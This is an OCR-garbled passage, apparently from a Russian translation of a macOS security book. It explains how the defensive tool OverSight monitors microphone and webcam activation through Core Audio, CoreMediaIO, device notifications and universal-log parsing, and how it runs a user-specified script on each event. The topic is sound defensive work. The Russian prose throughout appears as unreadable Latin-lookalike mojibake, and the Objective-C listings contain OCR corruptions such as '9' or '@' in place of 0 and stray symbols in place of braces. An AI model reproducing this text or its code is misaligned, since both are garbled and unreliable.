NSSelectorFromString.

Mockonbky connectionID - private property, HU4TO He MelaeT Apple nepeMmMeHoBaTb €ro Unu
MOMHOCTLIO yaanuTb. 10 3TON NpuyMHe KopA Bbl3biBaeT MeTo respondsToSelector:, 4yToBbl ybeanTbes,
4YTO OHO BCe eLle HarageHo Ha obbekTe AVCaptureDevice; ecnu HeT, OH BbixoauT. Bceroa cnegyet
ncnonb3oBaTb MeTod respondsToSelector: nepeq NOMbITKOW MNONMYyYUTb AOCTYN K private properties unu
BbI3BaThb private methods; nHaye Bawa nporpamma puckyet crash ¢ exception
doesNotRecognizeSelector. ol

[anee koa ncnonb3yeT pasnuyHbie directives #pragma, 4tobbl coxpaHuTb diagnostic state n coobwmnTb
compiler nrHopmpoBaTb warnings, KOTopble nHa4e 6binm Obl NokasaHbl. ATM warnings NOAHUMAIOTCH,
Koraa Mbl Bbi3biBaem MeTo performSelector:withObject:, nockonbky compiler HMKak He MOXeT
3HaTb, kKakon object oH Bo3BpallaeT, a 3Ha4YUT He MOXET 3HaTb, Kak ynpasnsaTbe ero memory. [6] Mockonbky
connectionID - 31O NpocTo unsigned 32-bit integer, emy He Hy>xHO memory management.

HakoHeu, kog obpawyaeTcs k cBoncTBy connectionID 4epes selector, co3gaHHbI paHee. OH genaeT 3710
B YNoMsiHyTOM MeToge performSelector:withObject:, KoTopbi No3BonseT Bbi3BaTh arbitrary selector
Ha arbitrary object. Mimes identifier device, helper function BocctaHaBnuaet previous diagnostic state u
Bo3sBpaLllaeTt ID device Bbi3biBaloOLLEMY KOAY.

BTopoi argument doyHKLMM AudioObjectAddPropertylListenerBlock - pointer Ha CTpyKTypy
AudioObjectPropertyAddress, KoTopas noeHTUMDULMPYET CBOMCTBO, O KOTOPOM Mbl XOTUM MOSyyaTb
notification. OverSight nHMumanunampyeT CTpyKTypy, Kak nokaszaHo B JIMCTUHre 12-3.
AudioObjectPropertyAddress propertyStruct = {0};
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;

propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
propertyStruct.melement = kAudioObjectPropertyElementMain;

JinctnHr 12-3: MHnupnanusauus cTpyktypbl AudioObjectPropertyAddress

MebI ykasbiBaeM, 4TO 3auHTepecoBaHbl B cBoncTBe kAudioDevicePropertyDeviceIsRunningSomewhere,
KOTopoe cBsA3aHo ¢ activation n deactivation device niobbim npouieccom B cucteme. [pyrme anemMeHThbl
CTPYKTYpbl NOKa3bIBalOT, YTO YKa3aHHOE CBOMCTBO npumeHseTca globally ko Bcemy device, a He TOMNbKO K
KOHKpeTHOMY input unu output. B pesynbtate nocne gobaenenus property listener block OverSight 6yaet
nonyyaTb notifications, korga run state ykasaHHoro audio device meHsieTcs.
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TpeTtuin argument doyHKLMU - cTaHdapTHas dispatch queue, Ha KOTOPON HY>XHO BbINONHATL listener block
(onucaH ganee). Mbl moxem nubo cosgath dedicated queue yepes API dispatch_queue_create, nubo
ucnonb3oBatb dispatch_get _global queue, HanpMmep C KOHCTAHTOW
DISPATCH_QUEUE_PRIORITY_DEFAULT, 4ToObl 3agericTBoBaTh existing global queue. MNMocnegnnii
argument dyHkuum - block Tvna AudioObjectPropertylListenerBlock, koTopbii framework Core Audio
aBTOMaTU4YECKM BbI30BET BCAKUIN pas, Korga ykaszaHHoe property MeHaeTcsa Ha ykasdaHHOM device. BoT type
definition listener block, Takke HaxogsLleecs B AudioHardware. h:

typedef void (”~AudioObjectPropertyListenerBlock)(UInt32 inNumberAddresses,
const AudioObjectPropertyAddress* inAddresses);

[MocKonbKy HECKONbKO properties Mornm 6bl UISMEHUTLCH OAHOBPEMEHHO, ECIM YKa3aHo Mosy4vaTb
notifications o Hux, listener block Bbi3biBaeTca ¢ MmaccmBoMm 06bekToB AudioObjectPropertyAddress u
KONmM4ecTBOM 3NemMeHTOoB B 3ToM Maccuse. OverSight 3anHTepecoBaH TONbKo B OAHOM property, Mo3ToMy
UrHopupyeT 3T parameters. [Ina nonHoTbl NUCTUHT 12-4 nokasbiBaeT metog OverSight
watchAudioDevice:, cogepxalyuin core logic Ans ykasaHusa nHTepecyoLlero property, onpegeneHuns
listener block gns notifications 1 3atem gobasneHuns ero k ykazaHHomy audio device.

- (BOOL)watchAudioDevice: (AVCaptureDevice*)device {

AudioObjectPropertyAddress propertyStruct = {0};

propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;

propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;

propertyStruct.melement = kAudioObjectPropertyElementMain;

AudioObjectID deviceID = [self getAvVObjectID:device];

AudioObjectPropertylListenerBlock listenerBlock =

A(UInt32 inNumberAddresses, const AudioObjectPropertyAddress* inAddresses) {

// Code to handle device's run state changes removed for brevity

¥

AudioObjectAddPropertyListenerBlock(deviceID, &propertyStruct, self.eventQueue,

listenerBlock);

b
JluctnHr 12-4: Hactpouka listener block ans nameHeHui run state audio device

Kog OverSight B listener block 3anpawwusaeT device, 4Tobbl oONpegenuTb ero TekyLee COCTOSHNE,
nockonbky notification cooblaet Ham, 4To run state 13MeHNNOCh, HO HE FOBOPUT, Ha Kakoe COCTOSIHME.
Ecnun oH o6HapyxuBaeT, 4yTo audio device Bkntounncs, OverSight obpaluaetcs k ceoemy log monitor,
4yTOOLI ONpenenuTsb identity npouiecca, OTBETCTBEHHOIO 3a 4oOCTyn K device u ero activation. 7ot war,
obecyxgaembin nogpobHee B pasgene "Responsible Process Identification” Ha cTpaHuue 288, k
coxarneHuto, Heobxoamm, notoMy 4to xoTsa Apple npegoctaBnsaet APls ans nony4veHus notifications o6
nameHeHunsax state audio device, oHn He npegocTaBnAT MHPopMaunn o responsible process. HakoHeu,
listener block npegynpexaaeT nonb3oBaTtens, npegocrtasnsas MHpopmauuo 06 audio device, ero state u,
B crydasax activation, responsible process.

YUTtobbl onpegenutb, 6bin nn device activated nnu deactivated, OverSight BeisbiBaeT API
AudioDeviceGetProperty BHyTpu helper method, koTopbli OH Ha3biBaeT getMicState: (nucTuHr 12-5).

-(UInt32)getMicState: (AVCaptureDevice*)device {

UInt32 isRunning = 9;

UInt32 propertySize = sizeof(isRunning);

AudioObjectID deviceID = [self getAVObjectID:device];

AudioDeviceGetProperty(deviceID, @, false, kAudioDevicePropertyDeviceIsRunningSomewhere,

&propertySize, &isRunning);

return isRunning;

)3
JlnctnHr 12-5: OnpepeneHne Tekyulero coctosHus audio device

Mocne ob6bsiBNeHns HeckoNbKNMx HeobxoanMbIx variables aToT meTop Bbi3biBaeT helper method
getAVObjectID:, obcyxaaBLunncs paHee, YToObI n3Bneyb private device ID n3 o6bekTa
AvCaptureDevice, koTopbit triggered notification. 3atem oH nepegaeT 370 3HayYeHMe BMecCTe C

227



KoHcTaHTon kAudioDevicePropertyDeviceIsRunningSomewhere, size u out pointer ons pesynbTaTa B
yHKUMI0 AudioDeviceGetProperty. B pesynbtaTe 310ro Bbi3oBa Mbl y3HaeM, NPOM3OLLO
notification, nony4yeHHoe Hamu B callback block, ns-3a device activation nnm meHee nHTepecHon
deactivation.

Hanee 4 nokaxy, kak MOHUTOPUTL Video devices, Takme Kak BCTpoeHHass webcam.

Camera Monitoring

UTto6bl o6HapyxuBaThb run-state changes video devices, koTopble umetoT Tun AVMediaTypeVideo, MOXHO
cnegosatb Noaxony, Noxoxemy Ha kog monitoring audio device. OgHako mMbl 6ygem ucnonb3oBaTb APIs
Bo framework CoreMedialO n 3apeructpupyem property listener c API
CMIOObjectAddPropertylListenerBlock.

OverSight moHuTopuT video devices Ha run-state changes B cBoem meTtoae watchVideoDevice: (NMUCTUHT
12-6).

-(BOOL)watchVideoDevice: (AVCaptureDevice*)device {

CMIOObjectPropertyAddress propertyStruct = {0};

propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;

propertyStruct.melement = kAudioObjectPropertyElementMain;

propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;

CMIOObjectID deviceID = [self getAVObjectID:device];

CMIOObjectPropertyListenerBlock listenerBlock = ~(UInt32

inNumberAddresses, const CMIOObjectPropertyAddress addresses[]) {
// Code to handle device's run-state changes removed for brevity
¥

CMIOObjectAddPropertylListenerBlock(deviceID, &propertyStruct,
self.eventQueue, listenerBlock);

JlnctnHr 12-6: Hactponka listener block ans run-state changes video device

Kak 1 npu monitoring audio devices, ko niuunanuampyet property structure, 4tobbl ykasatb property, o
KOTOPOM Mbl 3anHTepecoBaHbl nonyyaTthb notifications. 3ameTbTe, 4TO Mbl CNONb3yeM Te e constants,
yTo 1 Ang audio devices. Noxoxe, header files Apple He onpeaenstoT video device-specific constant.

3arem mbl nony4vaeM ID video device ¢ nomowsto helper method OverSight getAvObjectID:. Mbl Takke
peanuayewm listener block Tna CMIOObjectPropertylListenerBlock, a 3aTem Bbi3blBaeM PYHKLMIO
CMIOObjectAddPropertylListenerBlock. Nocne atoro BeidoBa framework CoreMedialO aBTomaTu4eckm
BbI30BeT listener block Bcskuin pas, korga monitored video device activates unu deactivates.

Kak n ¢ audio devices, Mbl JOITKHbI BPY4YHYHO 3anpocuTb device, UToObl y3HaTb, Obin 1 OH activated nnm
deactivated. 31y noruky moxHo Hantn B Metoge OverSight getCameraState:, koTopbii ucnonsbsyet APIs
CoreMedialO, Ho B ocTanbHOM MOYTU nAeHTU4eH metoay getMicState:. Moatomy s He Byay nokpbiBaTh
ero 3gechb.
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Device Connections and Disconnections

o cux nop mbl nepeuncnunu audio un video devices, currently connected k cucteme. [ins kaxgoro device
Mbl gobasunu property listener block, koTopbii 6ygeT nony4dath notification Bcskui pas, korga device
activates unu deactivates. Bce aTo xopoLuo, HO Ham Takke HyHO obpabaTbiBaTb cnydau, korga currently
monitored devices disconnect u reconnect, a Takke cuTyaumm, Korga nonb3oBaTenb NOAKMNOYaAET HOBLIN
device Bo Bpems monitoring. Hanpumep, npeactaBbTe, YTO NOMb30BaTENb PErYNSPHO MNOOKMOYAET UIn
oTkntovaeT ceol laptop k Apple Cinema display. Y Takux displays ectb built-in webcams, koTopble
OverSight pomxeH moHUTOPUTL Ha unauthorized activations, N03TOMy Mbl AOMKHbI yMeTb 0bpabaTbiBaTb
devices, KOTOpblE NOSIBASAOTCA U NCYE3AIOT.

K cuactblo, 3T0 oTHOcuTenNbHO straightforward 6narogaps dispatch mechanism macOS
NSNotificationCenter. OH sBRsdeTca yacTtbio framework Foundation, no3sonsieT clients
pernctpupoBaTb ceba kak observers anga nHTepecyLmx events, a 3atemM nonyyaTb notifications Bcsikuin
pas, korga aTu events npoucxogdart. Ytobbl y3aHaBaTh 0 audio unu video device connections and
disconnections, mbl nognuwemcs Ha events AVCaptureDeviceWasConnectedNotificationun
AVCaptureDeviceWasDisconnectedNotification, KoTopble MOXHO 3aperMcTpypoBaTb KOOOM 13
nuctuiHra 12-7.

[NSNotificationCenter.defaultCenter addObserver:self

selector:@selector(handleConnectedDeviceNotification:)

name :AVCaptureDeviceWasConnectedNotification object:nil];

[NSNotificationCenter.defaultCenter addObserver:self

selector:@selector(handleDisconnectedDeviceNotification:)
name :AVCaptureDeviceWasDisconnectedNotification object:nil];

JInctuur 12-7: Pernctpauus Ha device connections and disconnections

OverSight BbinonHsieT ABa Bbi3oBa MeToda addObserver:selector:name:object:, 4ToObl
3apeructpupoBatb cebs Ha nHTepecyoLme events. [laBante BHMMaTenbHee paccMOTpuMM arguments,
nepegaHHble aToMy meToay. [epBhbin - object, nnun observer, ucnonbayemsbin ans obpaboTtku notification.
OverSight ykasbiBaeT self, 4tobbl NokasaTb, 4TO Object, perncTpupytowmincs Ha notifications, ToT e, 4TO
n object, koTopbin GyaeT nx obpabateiBath. B kauectse BToporo argument OverSight ucnonssyet
keyword @selector, 4TOObl Yka3aTb MMsi METOAA, KOTOPbIA HYXXHO Bbl3BaTb Ha observer object n
obpaboTaTb notification. [nsa new device connections mMbl ncnonedyem metog OverSight ¢ nmexHem
handleConnectedDeviceNotification:, a ana disconnections -
handleDisconnectedDeviceNotification:. Bckope Mbl pacCMOTPUM 3TU METOAbI.

[anee mbl ykasbiBaem MHTepecyowmn event, Hanpumep device connection unu disconnection. Constants
ans aTux events MoXxHo HaTu B panne Apple AVCaptureDevice.h. [locrnegHuit argument nossonseT
yKasaTb JOMONHUTENbHBIN object, KOTOPbI HY>XHO AocTaBuTb BMecTe ¢ notification. OverSight He
MCnosib3yeT ero n No3ToMy NpocTo nepegaet nil.

Mocne Toro kak OverSight gBaxapbl BbidaBan addObserver:selector:name:object:, Bcakun pas, korga
device connects nnu disconnects, notification center BolzoBeT cooTBeTCTBYIOLWMIA Observer method.
EouHcTBEHHbIN parameter, KOTOpbIN OH NepefaeT 3TOMy MeToAy, - pointer Ha 06bekT NSNotification. B
cnyyae device connection nnu disconnection aToT object cogepxuT pointer Ha AVCaptureDevice.

O6a notification observer methods cHauana nssnekatoT device 13 notification object, a 3atem onpegensitor
ero Tun (audio unu video). 3atem Kof Bbi3biBaeT device type-specific methods OverSight, 4To6bl MMbo
HayaTtb, NMbBo ocTaHOBUTL Monitoring, B 3aBUCUMOCTK OT Toro, 6bin device connected unu disconnected.

B kauecTtBe npumepa nuCTuHr 12-8 nokasbiBaeT peanusaumio metoaa
handleConnectedDeviceNotification:.

229



-(void)handleConnectedDeviceNotification: (NSNotification *)notification {
AVCaptureDevice* device = notification.object;

if(YES == [device hasMediaType:AVMediaTypeAudio]) {

[self watchAudioDevice:device];

} else if(YES == [device hasMediaType:AVMediaTypeVideo]) {

[self watchVideoDevice:device];

}

b
JlnctnHr 12-8: Koraa nogkntoyaeTtcs HoBbI device, OverSight HaUHET MOHUTOPUTL €ro Ha run-state
changes.

MeTopn nssnekaet device, BbiaBaBLumi notification, obpatasick k cBONCTBY object o6bekTa
NSNotification, nepegaHHoro emy. Ecnu aToT just-connected device siBnsieTca audio device, kog
BbI3biBaeT Mmetof OverSight watchAudioDevice:, obcyxgaBLunincs paHee, 4Tobbl 3aperncTpupoBaThb
property listener block ons state changes. [Ing video devices ko Bbi3biBaeT MeTog watchVideoDevice:.
MeTopn aons obpaboTtku device disconnections ngeHTUYeH, 3a UCKMIOYEHWEM TOrO, YTO Bbi3biBaET
cootBeTcTBYloWme metoabl OverSight unwatch, obcyxgaemele B pasgene "Stopping” Ha cTpaHuue 293,
KoTopble ocTaHaBnmBaloT monitoring audio unu video devices.

Ecnun 6bl Hac MHTepecoBan Tornbko caM gakT, 4To video unu audio device activated nnu deactivated, Ha
3TOM Mbl 6bl 3akOHYMM. OgHako 3Tu events nmeloT orpaHnyeHHyto utility ans malware detection, ecnu
OHW He BKITHYaloT process, OTBETCTBEHHLIN 3a UX triggering. Tak 4To y Hac elle ecTb paboTa.

Responsible Process Identification

MHorue legitimate activities moryT akTBupoBaTtb Baww mic UM camera (Hanpumep, NOAKMYEHME K
conference call). Security tool fomkeH ymeTb ngeHTUMUMpoBaTh process, obpaliatowminca Kk device,
yTO6bI OH MOT ignore trusted ones 1 reHepupoBaTh alerts aAns Nbbix, KOTOPbIE HE pacno3HaeT.

B npegbigywnx rmaeax g ynomunan, yto Endpoint Security APIs moryT ngeHtTudgpmumpoBaTb process,
OTBETCTBEHHBbIN 3a MHOrne events of interest. K coxxanenuto, Endpoint Security noka He coobLiaeT o mic
and camera access (xoTda 1 MHOro pa3s ymonsan Apple nobasuTts aty feature). XoTa mbl nokasanu, uto APls
CoreAudio n CoreMedialO moryT npegoctaBnsTb notifications 06 nameHeHusix run state device, oHn He
cogepxar information o responsible process.

C rogamm OverSight npymeHsan pasnuyHble OKorbHbIE approaches Anst TOYHOW MAEHTUdUKaLUN
responsible process. N3HavyanbHO OH ncnonb3oBan ToT dakT, 4To frameworks BHYTpuM processes,
obGpaLlatomxcs K mic unu webcam, otnpasnsany pasnuyHele Mach messages k core macOS camera and
audio assistant daemons. Korga oH nony4an device run-state change notification, OverSight nepeuncnsan
ntobbix Mach message senders. OH Takke gononHan aty information, n3snekas responsible candidate
processes u3 I/O registry. [Tk coxaneHuto, gaxe Takon combined approach 4YacTo Bbigasan 6onbLue
opHoro candidate process. [Noatomy OverSight BeinonHan macOS utility sample, koTopas npegocTtasnsana
stack traces candidate processes. N3yyaa aTtu stack traces, oH mor onpefenuTb, B3anmoaencteosan nm
process akTuBHo ¢ audio unu video device.

OT10T noaxon 6bin He cambim efficient (u utility sample cnerka invasive, nockonbKy kpaTko suspends target
process), Ho OH Mor consistently naeHTnduymnposats responsible process. B 1o Bpemsi OverSight 6bin
€OMHCTBEHHbIM MHCTPYMEHTOM Ha pbiHKe, CNOCcOoOHbIM NpefocTaBnsTh 3Ty feature, Yto caenarno ero
XUTOM He TONbKO cpeaw users, HO 1 cpeamn commercial entities, koTopele reverse engineered tool, 4Tobbl
yKpacTb 3Ty capability ons cobcTBeHHbIX Luenen - bugs and all! Korga s confronted companies ¢ proof
aToro transgression, Bce oHu B utore admitted fault, apologized u made amends. [8]
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MpumeyaHue. MiHTepecHo, 4To oanH u3 developers, ckonvpoBasLuux proprietary logic OverSight, Bckope
nocrne atoro Havan pabotaTb B Apple. Coincidentally or not, 6onee HoBble Bepcun macOS Tenepb
npegynpexgaroT Bac, Koraa process BnepBble NbiTaeTCs Nofy4mMTb 4OCTYN K Mic unm camera. Kak
rosopuTcs, imitation is the sincerest form of flattery.

Mo mepe nameHeHnss macOS nsHadvanbHeIn meTog OverSight ans identification responsible process Havan
yctapeBaTtb. K cyacTblo, nossneHune universal log npegocraensieT 6onee efficient solution. B rnase 6 s
nokasbiBar, kak ncnonb3osarb private APls n frameworks universal log gns ingesting streaming log
messages, cpeau npo4mx 3agad. OverSight ncnoneayet a1n xe APIs n frameworks B coyeTaHum ¢ custom
filter predicates, 4Tob6bl MOEHTUDULMPOBATL Process, OTBETCTBEHHbIN 3a triggering ntobbix mic nnu
camera state changes.

Mpnme4vaHue. Messages in the log MmoryT nameHuTbCA B Nto6o MOMEHT. B aTom pasgene 4
cocpenoToyeH Ha messages, npucyTcTeytowmx B macOS 14 n 15. Xots 6yaywime Bepcun operating
system MoryT 3aMeHuTb 3T messages, Bbl JOMKHbI CYMETb MAEHTUMULMPOBATL HOBbIE 1 NOACTaBUTL UX.

Universal log cogepXut MHOro messages, HenpepbIBHO streaming Co BCex yrnoB cucTembl. YTobbl
naeHTudnumMpoBaTts relevant messages (Hanpumep, OTHOCALLMECS K processes, obpallarowmmes K
camera), 3anycTtum log stream, a 3atem oTkpoem application, Takyto kak FaceTime, nucnonbayoLyto
webcam:

% log stream

Default ©x0 367 © com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}901][{private}0]
added <private> endpoint <private> camera <private>

Default ©x0 901 © avconferenced: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace @ CoreMediaIO
0x000000019b4c4040 CMIODeviceStartStream + 228 [0x19b45a000 + 434240]

B stream BugHbl messages, cBA3aHHble ¢ camera access. OHn cogepxart references Ha process ¢ PID
901 nnm emanating from that process. B aTom npumepe atoT PID cooTBETCTBYET process
avconferenced, KoTOpbI obpalaeTtcs kK webcam ot umeHun FaceTime. MNonpobyem apyroe application
(ckaxxem, Zoom), 4uTobbI YBMAETb, YTO NosiBrisieTcs B logs:

% log stream

Default ©x0 367 © com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}17873][{private}Q]
added <private> endpoint <private> camera <private>

Default 0x@ 17873 @ zoom.us: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace @ CoreMediaIO
0x00007118248a6287 CMIODeviceStartStream

+ 205 [0x7ff824840000 + 418439]CMIOHardware.cpp:747:CMIODeviceStartStream
backtrace @ CoreMediaIO 0x00007ff8248a6287 CMIODeviceStartStream +

205 [0x7ff824840000 + 418439]

Mbl nony4yaem TOYHO Takue e messages, 3a UCKITIYeHEeM TOro, YTO Ha 3TOT pa3 OHWU coaepkaT process
ID 17873, npuHagnexawmii Zoom. MoXxXHO NpoBecTn NOXoxuin experiment, 4tobbl ngeHTMdMUMpoBaTh log
messages, cogepxatume information o processes, obpaluaroLmxcs Kk mic.

YTto6bl NporpaMmHO B3auMogencTBoBath ¢ universal log, OverSight peanuayet custom class ¢ nmeHem
LogMonitor. Koa B aTom knacce interfaces with APIs, Haxogsawmecsa BHyTpu private framework
LoggingSupport. Nockonbky rmaea 6 nokpbliBana 3Ty strategy, 8 He Byay noBTOpATL AeTanu 3geck. Ecniun
BaM MHTEPECEH MOIHbIN Ko, nocMoTpuTe dann LogMonitor.m B npoekte OverSight.

Knacc OverSight LogMonitor exposes method c definition, nokazaHHbIM B nuctunre 12-9.

-(BOOL)start: (NSPredicate*)predicate level:(NSUInteger)level
callback: (void(”)(OSLogEvent*))callback;
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JluctnHr 12-9: Metop LogMonitor ans 3anycka log stream, oTpunbTpoBaHHOIo ykasaHHbIMU level n
predicate

Wmes predicate u log level (Hanpumep, default unu debug), atotT meToa akTnBmpyeT streaming log session.
OH OypeT nepepaBaThb log messages Tuna OSLogEvent, koTopble match specified predicate,
BbI3blBatoLLEeMy KOy C MOMOLLbIO Yka3aHHoro callback block.

OverSight ncnoneayert predicate, koTopbii matches all log messages nm6o n3 core media I/O subsystem,
nnbo n3 core media subsystem, notomy 4To 37K subsystems reHepupytoT specific log messages,
copgepxawme PID responsible process (nuctuHr 12-10).

if(@available(macOS 14.0, *)) {

[self.logMonitor start:[NSPredicate predicateWithFormat:@"subsystem=="'com.apple.cmio' OR

subsystem=="com.apple.coremedia'"] level:Log_Level Default callback:~(0SLogEvent*

logEvent) {

// Code that processes cmio and coremedia log messages removed for brevity

s
}

JInctnHr 12-10: dunbTpauusa messages u3 subsystems cmio un coremedia

Mbl HamepeHHo ocTaensaem 3Tu predicates broad, 4Tobbl rapaHTMpoBaTh, 4TO MacOS BbINONHAET
predicate matching BHyTpu instance logging framework cucremHoro log daemon, a He B instance Toro xe
framework, 3arpyxxeHHoro B OverSight. 3T1o nsberaer significant overhead konuposaHus u nepegaym Bcex
system log messages mexay AByMsi processes. EAMHCTBEHHbIN HeJOCTaTOK MCNosb3oBaHua broader
predicate coctouT B ToM, 4To OverSight 3atem gomkeH oTdunbTpoBbIBaTh irrelevant messages. OgHako
NMOCKONbKY HX 0AHa U3 ABYX YKa3daHHbIX subsystems He reHepupyeT significant number log messages, aTta
[ononHnTenbHasa processing He co3gaeT 6onbLuoro overhead.

Ina kaxxgoro message n3 subsystems OverSight npoeepseT, cogepxut nn oHo PID process, triggered
device run-state change. JlnuctuHr 12-11 nokasbiBaeT koa Ana camera events.

NSRegularExpression* cameraRegex = [NSRegularExpression
regularExpressionWithPattern:@"\\[\\{private\\}(\\d+)\\]"

options:0 error:nil];

if( (YES == [logEvent.subsystem isEqual:@"com.apple.cmio"]) &&

(YES == [logEvent.composedMessage hasSuffix:@"added <private>

endpoint <private> camera <private>"]) ) {

NSTextCheckingResult* match = [cameraRegex firstMatchInString:logEvent.
composedMessage options:@ range:NSMakeRange(@, logEvent.composedMessage.
length)];

if( (nil == match) || (NSNotFound == match.range.location) ) {

return;

¥

NSInteger pid = [[logEvent.composedMessage substringWithRange:

[match rangeAtIndex:1]] integerValue];

self.lastCameraClient = pid;

}
JinctuHr 12-11: Pa3bop messages cmio ans obHapykeHus responsible process

[nsa camera events Mbl MeM message 13 subsystem com. apple.cmio, 3akaHumBatoLeecs Ha added
<private> endpoint <private> camera <private>. 41066l U3BREYb PID atoro process, OverSight
ncnonb3yeT regular expression, KOTOpoe OH MHULMANN3NPYET A0 message processing, YToObl nsbexartb
reinitialization, a 3aTem npumeHseT ero k candidate messages. Ecnu regular expression He coBnagaer,
callback Bbixogut ¢ onepaTtopom return. MiHaye oH nssnekaet PID kak integer n coxpaHsaeT ero B
instance variable c umeHem lastCameraClient. OverSight ob6palwiaeTcs k aTton variable, korga nonyvaet
camera run-state change notification n ctpout alert anst nokasa nonb3oBaTtento (MUCTUHT 12-12).
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Client* client = nil;

if(@ != self.lastCameraClient) {

client = [[Client alloc] init];

client.pid = [NSNumber numberWithInteger:self.lastCameraClient];
client.path = valueForStringItem(getProcessPath(client.pid.intValue));
client.name = valueForStringItem(getProcessName(client.path));

}

Event* event = [[Event alloc] init:client device:device deviceType:
Device_Camera state:NSControlStateValueOn];

[self handleEvent:event];

Jlnctunr 12-12: Cosparune obbekTa, encapsulating responsible process

[na mic events noaxon Noxox, 3a ncknoveHnem Toro, 4to OverSight nilet messages u3 subsystem
com.apple.coremedia, KOTOpble HAYMHAIOTCA C -MXCoreSession -[MXCoreSession
beginInterruption] n 3akaHumBatoTcs Recording = YES> is going active.

Micnonb3oBaHue universal log ana ngeHtudukaumm processes, OTBETCTBEHHbIX 32 MIiC U camera access,
nokasano ceoto effectiveness. [MaBHbIN HegocTaTok strategy coctont B ToM, 4TO Apple nepuogudecku
MeHsieT unu ygansert relevant log messages. Hanpumep, OverSight ncnonssosan gpyrue log messages
ans ngentndmrkauum responsible processes B 6onee paHHnx Bepcnsax macOS, 4YTO BbIHYgUITO MEHS
06HoBUTEL tool, koraa Apple nx yaanuna. 3tu updates MoxHo yBMaeTb, NpocMoTpeB commit history cpanna
AVMonitor.m B penosutopum OverSight Ha GitHub.

Triggering Scripts

Korga st npeactaBmn OverSight B 2015 rogy, macOS He npefocTaensana HUKakux restrictions Ha mic unu
webcam access, To ecTb Nntoboe malware, 3apasusLuee cuctemy, Morno trivially o6paiaTtecs kK nodomy 13
Hux. HegasHue Bepcun macOS ycTpaHWUnu 3TOT HeJocTaToK, prompting user B NepBbI pas, korga noboe
application nbiTaeTcs nony4nTb AOCTYN K 3TUM devices. K coxxaneHuto, 3ToT NoAxXo4 nonaraeTcs Ha
mexaHnam Transparency, Consent, and Control (TCC) onepauunoHHon cuctemsl, Kotopbin hackers u
malware 4acTo bypass, kak 0TMe4arnoch B rnase 6.

Momumo npepocTtaBneHus gononHutensHoro layer of defense, OverSight npeanaraet features, koTtopble
users npumeHanu creatively. Hanpumep, oH npegoctaBnseT mechanism ans BbINONHEHUA
OOMONHUTENbHBIX actions BcSkui pas, korga process obpallaeTtcs K mic unv camera. Ecnm oTkpbITh
preferences OverSight n HaxxaTb tab Action, Bbl yBuauTe, 4to MOXHO yka3aTtb path k external script nnm
binary. Ecnn user npegocrtaBnsaet Takon executable, OverSight BbINOMHMT ero npu kaxxgom activation
event.

YTtobbl fononHMTENBHO enhance aTy capability, opyrasi option no3sonseT users BKNOYNTL arguments,
nepepaBsaemMble script, Bkntovas device, state n responsible process. 9t1o genaet OverSight relatively
easy to integrate B apyrue security tools (xoTsa users 4acto ncnone3osanu feature gns 6onee NpakTUYHbIX
npv4yvH, Hanpumep BkMoyaTtb external light 3a npegenamu home office Bcakun pas, korga oHW akTUBUPYHOT
mic nnmn camera).

Kog OverSight ans seinonHeHus external scripts unu binaries gosonbHo straightforward, xota handling
arguments TpebyeT Heckonbkmx nuances. OverSight ucnonb3yet knacc NSUserDefaults, 4ToObI
persistently store settings and preferences, Bkntouasa nobown user-specified script unu binary. JluctuHr
12-13 nokasbiBaeT koA, KOTopbl coxpaHsieT path of an item, korga user B3anMoaencTBYET C KHOMKON
Browse.
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#tdefine PREF_EXECUTE_PATH @"executePath"
#define PREF_EXECUTE_ACTION @"executeAction”
self.executePath.stringValue = panel.URL.path;

[NSUserDefaults.standardUserDefaults setBool:NSControlStateValueOn
forKey:PREF_EXECUTE_ACTION];

[NSUserDefaults.standardUserDefaults setObject:self.executePath.stringValue
forKey :PREF_EXECUTE_PATH];
[NSUserDefaults.standardUserDefaults synchronize];

JInctmnHr 12-13: Knacc NSUserDefaults, ucnonb3syembiin 4ns xpaHeHus user preferences

Mol coxpaHsaem path of the item, BeiBpaHHOro user yepes user interface, 3atem yctaHasnuaem flag,
yKasblBawoLWmMI, YTo user specified an action, n coxpaHsiem path item. O6paTute BHMMaHue, 4to panel -
370 06BbEKT NSOpenPanel, cogepalumn item, BoiOpaHHbIA user. Mbl ycTaHaBnaem flag ¢ nomoLubio
meToaa setBool: obbekTa standardUserDefaults NSUserDefaults n 3agaewm item path ¢ nomoLubio
MeTona setObject:. HakoHel, Mbl synchronize, 4toObl trigger a save.

Korga user ykasbiBaeT external item ans 3anycka, OverSight Bbi3biBaeT helper function ¢ nmeHem
executeUserAction:, 4tobbl BbINONHUTL item, korga npoucxoguT run-state change mic nnn camera
(nmucTuHr 12-14).

#tdefine SHELL @"/bin/bash”

#define PREF_EXECUTE_PATH @"executePath"

#define PREF_EXECUTE_ACTION_ARGS @"executeActionArgs"

-(BOOL)executeUserAction: (Event*)event {

NSMutableString* args = [NSMutableString string];

NSString* action = [NSUserDefaults.standardUserDefaults objectForKey:PREF_EXECUTE_PATH];

if(YES == [NSUserDefaults.standardUserDefaults boolForKey:PREF_EXECUTE_ACTION_ARGS]) {

[args appendString:@"-device "];

(Device_Camera == event.deviceType) ? [args appendString:@"camera"

[args appendString:@"microphone"];

[args appendString:@" -process "];

[args appendString:event.client.pid.stringValue];

}
execTask(SHELL, @[@"-c", [NSString stringWithFormat:@"\"%@\" %@", action, args]], NO, NO);

JInctnHr 12-14: BeinonHeHwue user-specified item ¢ arguments

MeTon executeUserAction: cHavana nssnekaet path user-specified item gns seinonHeHus ns saved
preference. 3atem OH npoBepsieT, BbIOpan nu user nepegadvy arguments atomy item. Ecnu ga, oH
dynamically builds string, coaepxatuyto arguments, Bkntoyaa device, triggered event, u responsible
process. HakoHel, OH BbINOnHAET item u nobble arguments yepes shell, ncnoneays helper function
